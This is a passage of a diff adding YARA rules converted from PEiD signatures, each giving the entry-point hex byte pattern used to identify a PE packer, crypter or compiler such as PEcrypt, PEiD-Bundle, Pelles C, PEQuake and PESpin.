+        $a
+}
+rule PEiD_01596_PEcrypt___by_archphase_
+{
+    meta:
+        description = "[PEcrypt - by archphase]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01597_PEEncrypt_v4_0b__JunkCode__
+{
+    meta:
+        description = "[PEEncrypt v4.0b (JunkCode)]"
+        ep_only = "true"
+    strings:
+        $a = {66 ?? ?? 00 66 83 ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01598_PEiD_Bundle_v1_00___v1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.00 - v1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a
+}
+rule PEiD_01599_PEiD_Bundle_V1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a
+}
+
+rule PEiD_01600_PEiD_Bundle_V1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a
+}
+
+rule PEiD_01601_PEiD_Bundle_v1_02___v1_04____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.02 - v1.04 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01602_PEiD_Bundle_V1_02____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.02 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01603_PEiD_Bundle_V1_02_DLL____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.02 DLL -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01604_PEiD_Bundle_v1_04____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.04 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01605_Pelles_C_2_8_x_4_5_x____Pelle_Orinius_
+{
+    meta:
+        description = "[Pelles C 2.8.x-4.5.x -> Pelle Orinius]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC}
+    condition:
+        $a
+}
+
+rule PEiD_01606_Pelles_C_2_80__2_90_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.80 -2.90 EXE (X86 CRT-LIB)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01607_Pelles_C_2_90_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.90 EXE (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01608_Pelles_C_2_90__3_00__4_00_DLL__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.90, 3.00, 4.00 DLL (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74}
+    condition:
+        $a
+}
+rule PEiD_01609_Pelles_C_2_x_4_x_DLL____Pelle_Orinius_
+{
+    meta:
+        description = "[Pelles C 2.x-4.x DLL -> Pelle Orinius]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_01610_Pelles_C_3_00__4_00__4_50_EXE__X86_CRT_DLL__
+{
+    meta:
+        description = "[Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-DLL)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_01611_Pelles_C_3_00__4_00__4_50_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01612_Pelles_C_4_50_DLL__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 4.50 DLL (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75}
+    condition:
+        $a
+}
+
+rule PEiD_01613_PELOCKnt_2_04_
+{
+    meta:
+        description = "[PELOCKnt 2.04]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+    condition:
+        $a
+}
+
+rule PEiD_01614_PEMangle_
+{
+    meta:
+        description = "[PEMangle]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01615_PEncrypt_1_0____JunkCode_
+{
+    meta:
+        description = "[PEncrypt 1.0 -> JunkCode]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_01616_PEncrypt_2_0____junkcode_
+{
+    meta:
+        description = "[PEncrypt 2.0 -> junkcode]"
+        ep_only = "true"
+    strings:
+        $a = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85}
+    condition:
+        $a
+}
+
+rule PEiD_01617_PEncrypt_2_0____junkcode_
+{
+    meta:
+        description = "[PEncrypt 2.0 -> junkcode]"
+        ep_only = "true"
+    strings:
+        $a = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85 23 10 40 00 50 6A 04 51 56 FF 95 10 10 40 00 5E 59 C6 06 00 46 E2 FA E9 AE 00 00 00 55 E8 00 00 00 00 5D 81 ED 77 10 40 00 8B D6 80 3E 00 74 03 46 EB F8 46 2B F2 8B CE 33 C0 66 89 85 06 10 40 00 8B B5 02 10 40 00 83 C6 3C 66 AD 03 85 02 10 40 00 8B 70 78 03 B5 02 10 40 00 83 C6 1C AD 03 85 02 10 40 00 89 85 08 10 40 00 AD 03 85 02 10 40 00 50 AD 03 85 02 10 40 00 89 85 0C 10 40 00 5E 56 AD 03 85 02 10 40 00 8B F0 8B FA 51 FC F3 A6 59 74 0D 5E 83 C6 04 66 FF 85 06 10 40 00 EB E0 5E 0F B7 85 06 10 40 00 D1 E0}
+    condition:
+        $a
+}
+rule PEiD_01618_PEncrypt_v1_0_
+{
+    meta:
+        description = "[PEncrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+    condition:
+        $a
+}
+
+rule PEiD_01619_PEncrypt_v3_0_
+{
+    meta:
+        description = "[PEncrypt v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+    condition:
+        $a
+}
+
+rule PEiD_01620_PEncrypt_v3_1_
+{
+    meta:
+        description = "[PEncrypt v3.1]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? 00 F0 0F C6}
+    condition:
+        $a
+}
+
+rule PEiD_01621_PEnguinCrypt_v1_0_
+{
+    meta:
+        description = "[PEnguinCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01622_PENightMare_2_Beta_
+{
+    meta:
+        description = "[PENightMare 2 Beta]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+    condition:
+        $a
+}
+
+rule PEiD_01623_PENightMare_v1_3_
+{
+    meta:
+        description = "[PENightMare v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+    condition:
+        $a
+}
+
+rule PEiD_01624_PENinja_modified_
+{
+    meta:
+        description = "[PENinja modified]"
+        ep_only = "true"
+    strings:
+        $a = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+    condition:
+        $a
+}
+
+rule PEiD_01625_PENinja_
+{
+    meta:
+        description = "[PENinja]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01626_PEQuake_0_06_by_fORGAT_
+{
+    meta:
+        description = "[PEQuake 0.06 by fORGAT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+    condition:
+        $a
+}
+
+rule PEiD_01627_PEQuake_0_06___forgat_
+{
+    meta:
+        description = "[PEQuake 0.06-> forgat]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01628_PEQuake_V0_06____forgat_
+{
+    meta:
+        description = "[PEQuake V0.06 -> forgat]"
+        ep_only = "true"
+    strings:
+        $a = {E8 A5 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01629_PEQuake_v0_06____forgot_us__h__
+{
+    meta:
+        description = "[PEQuake v0.06 -> forgot/us (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D ?? ?? ?? 2D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01630_PEQuake_v0_06_by_fORGAT_
+{
+    meta:
+        description = "[PEQuake v0.06 by fORGAT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB}
+    condition:
+        $a
+}
+
+rule PEiD_01631_PerlApp_6_0_2____ActiveState_
+{
+    meta:
+        description = "[PerlApp 6.0.2 -> ActiveState]"
+        ep_only = "false"
+    strings:
+        $a = {68 2C EA 40 00 FF D3 83 C4 0C 85 C0 0F 85 CD 00 00 00 6A 09 57 68 20 EA 40 00 FF D3 83 C4 0C 85 C0 75 12 8D 47 09 50 FF 15 1C D1 40 00 59 A3 B8 07 41 00 EB 55 6A 08 57 68 14 EA 40 00 FF D3 83 C4 0C 85 C0 75 11 8D 47 08 50 FF 15 1C D1 40 00 59 89 44 24 10 EB 33 6A 09 57 68 08 EA 40 00 FF D3 83 C4 0C 85 C0 74 22 6A 08 57 68 FC E9 40 00 FF D3 83 C4 0C 85 C0 74 11 6A 0B 57 68 F0 E9 40 00 FF D3 83 C4 0C 85 C0 75 55}
+    condition:
+        $a
+}
+rule PEiD_01632_PerlApp_6_0_2____ActiveState_
+{
+    meta:
+        description = "[PerlApp 6.0.2 -> ActiveState]"
+        ep_only = "false"
+    strings:
+        $a = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50}
+    condition:
+        $a
+}
+
+rule PEiD_01633_PESHiELD_v0_2___v0_2b___v0_2b2_
+{
+    meta:
+        description = "[PESHiELD v0.2 / v0.2b / v0.2b2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+    condition:
+        $a
+}
+
+rule PEiD_01634_PESHiELD_v0_251_
+{
+    meta:
+        description = "[PESHiELD v0.251]"
+        ep_only = "true"
+    strings:
+        $a = {5D 83 ED 06 EB 02 EA 04 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01635_PESHiELD_v0_25_
+{
+    meta:
+        description = "[PESHiELD v0.25]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01636_PEShit_
+{
+    meta:
+        description = "[PEShit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_01637_PESpin_0_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.1 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01638_PESpin_0_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.3 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01639_PESpin_0_7____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.7 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01640_PESpin_1_0____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.0 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01641_PESpin_1_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.1 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01642_PESPin_1_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESPin 1.3 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01643_PESpin_1_304____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.304 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+    condition:
+        $a
+}
+
+rule PEiD_01644_PESpin_1_3beta____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.3beta -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01645_PESpin_1_3x____Cyberbob_
+{
+    meta:
+        description = "[PESpin 1.3x -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+    condition:
+        $a
+}
+
+rule PEiD_01646_PESpin_v0_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.1 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 